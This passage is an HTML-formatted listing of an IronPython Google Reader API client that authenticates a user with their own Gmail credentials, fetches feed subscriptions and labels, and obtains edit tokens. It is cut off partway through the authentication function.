color="#000000"&gt;Web&lt;/font&gt; &lt;font color="#c00000"&gt;import&lt;/font&gt; &lt;font color="#0000c0"&gt;*&lt;/font&gt; &lt;font color="#008000"&gt;################################################################# &lt;/font&gt;&lt;font color="#008000"&gt;# &lt;/font&gt;&lt;font color="#008000"&gt;#
USAGE: ipy greader.py &amp;lt;Gmail username&amp;gt; &amp;lt;password&amp;gt; &amp;lt;path-to-directory-for-storing-feeds&amp;gt; &lt;/font&gt;&lt;font color="#008000"&gt;# &lt;/font&gt;&lt;font color="#008000"&gt;#
username &amp;amp; password are required &lt;/font&gt;&lt;font color="#008000"&gt;# feed directory
location is optional, defaults to C:\Windows\Temp\ &lt;/font&gt;&lt;font color="#008000"&gt;################################################################# &lt;/font&gt;&lt;font color="#008000"&gt;#API
URLs &lt;/font&gt;&lt;font color="#000000"&gt;auth_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;r&lt;a href="https://www.google.com/accounts/ClientLogin?continue=http://www.google.com&amp;amp;service=reader&amp;amp;source=Carnage4Life&amp;amp;Email=%s&amp;amp;Passwd=%s"&gt;https://www.google.com/accounts/ClientLogin?continue=http://www.google.com&amp;amp;service=reader&amp;amp;source=Carnage4Life&amp;amp;Email=%s&amp;amp;Passwd=%s&lt;/a&gt;&lt;/font&gt; &lt;font color="#000000"&gt;feed_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;r&lt;a href="http://www.google.com/reader/atom/"&gt;http://www.google.com/reader/atom/&lt;/a&gt;&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;r&lt;a href="http://www.google.com/reader/api/0/"&gt;http://www.google.com/reader/api/0/&lt;/a&gt;&lt;/font&gt; &lt;font color="#000000"&gt;feed_cache_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;r&amp;quot;C:\\Windows\Temp\\&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;add_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;r&amp;quot;http://www.google.com/reader/quickadd&amp;quot;&lt;/font&gt; &lt;font color="#008000"&gt;#enumerations &lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;add_label&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;remove_label&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;range&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;3&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;class&lt;/font&gt; &lt;font color="#000000"&gt;TagList&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Represents
a list of the labels/tags used in Google Reader&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;__init__&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;labels&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;labels&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;labels&lt;/font&gt; &lt;font color="#c00000"&gt;class&lt;/font&gt; &lt;font color="#000000"&gt;SubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Represents
a list of RSS feeds subscriptions&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;__init__&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;modified&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feeds&lt;/font&gt; &lt;font color="#c00000"&gt;class&lt;/font&gt; &lt;font color="#000000"&gt;Subscription&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Represents
an RSS feed subscription&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;__init__&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;title&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;categories&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;firstitemmsec&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;categories&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;categories&lt;/font&gt; &lt;font color="#000000"&gt;self&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;firstitemmsec&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;firstitemmsec&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Performs
an HTTP POST request to a Google service and returns the results in a HttpWebResponse
object&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;HttpWebRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Create&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Method&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;POST&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;SetGoogleCookie&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;encoding&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;ASCIIEncoding&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;;&lt;/font&gt; &lt;font color="#000000"&gt;data&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;encoding&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetBytes&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ContentType&lt;/font&gt;&lt;font color="#0000c0"&gt;=&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;application/x-www-form-urlencoded&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ContentLength&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;data&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Length&lt;/font&gt; &lt;font color="#000000"&gt;newStream&lt;/font&gt;&lt;font color="#0000c0"&gt;=&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetRequestStream&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;newStream&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Write&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;data&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#000000"&gt;data&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Length&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;newStream&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Close&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpGetRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Performs
an HTTP GET request to a Google service and returns the results in an XmlDocument&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;HttpWebRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Create&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;SetGoogleCookie&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;reader&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;StreamReader&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponseStream&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;XmlDocument&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;LoadXml&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;reader&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ReadToEnd&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Gets
an edit token which is needed for any edit operations using the Google Reader API&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;token_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;token&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;HttpWebRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Create&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;token_url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;SetGoogleCookie&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;reader&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;StreamReader&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponseStream&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;reader&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ReadToEnd&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;MakeSubscription&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;xmlNode&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Creates
a Subscription class out of an XmlNode that was obtained from the feed list&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;xmlNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;string[@name='id']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#000000"&gt;title_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;xmlNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;string[@name='title']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;title_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;title_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#000000"&gt;fim_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;xmlNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;string[@name='firstitemmsec']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;firstitemmsec&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;fim_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;fim_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#000000"&gt;categories&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;MakeCategory&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;catNode&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;catNode&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;xmlNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectNodes&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;list[@name='categories']/object&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;Subscription&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;title&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;categories&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;firstitemmsec&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;MakeCategory&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;catNode&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Returns
a tuple of (label, category id) from an XmlNode representing a feed's labels that
was obtained from the feed list&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;catNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;string[@name='id']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;catid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;id_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#000000"&gt;label_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;catNode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;string[@name='label']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;label&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;label_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#000000"&gt;label_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;label&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;catid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;AuthenticateUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;username&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;password&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Authenticates
the user and returns a username/password combination&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;req&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;HttpWebRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Create&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;auth_url&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;username&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;password&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;reader&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;StreamReader&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;req&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponse&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;GetResponseStream&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;response&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;reader&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ReadToEnd&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font 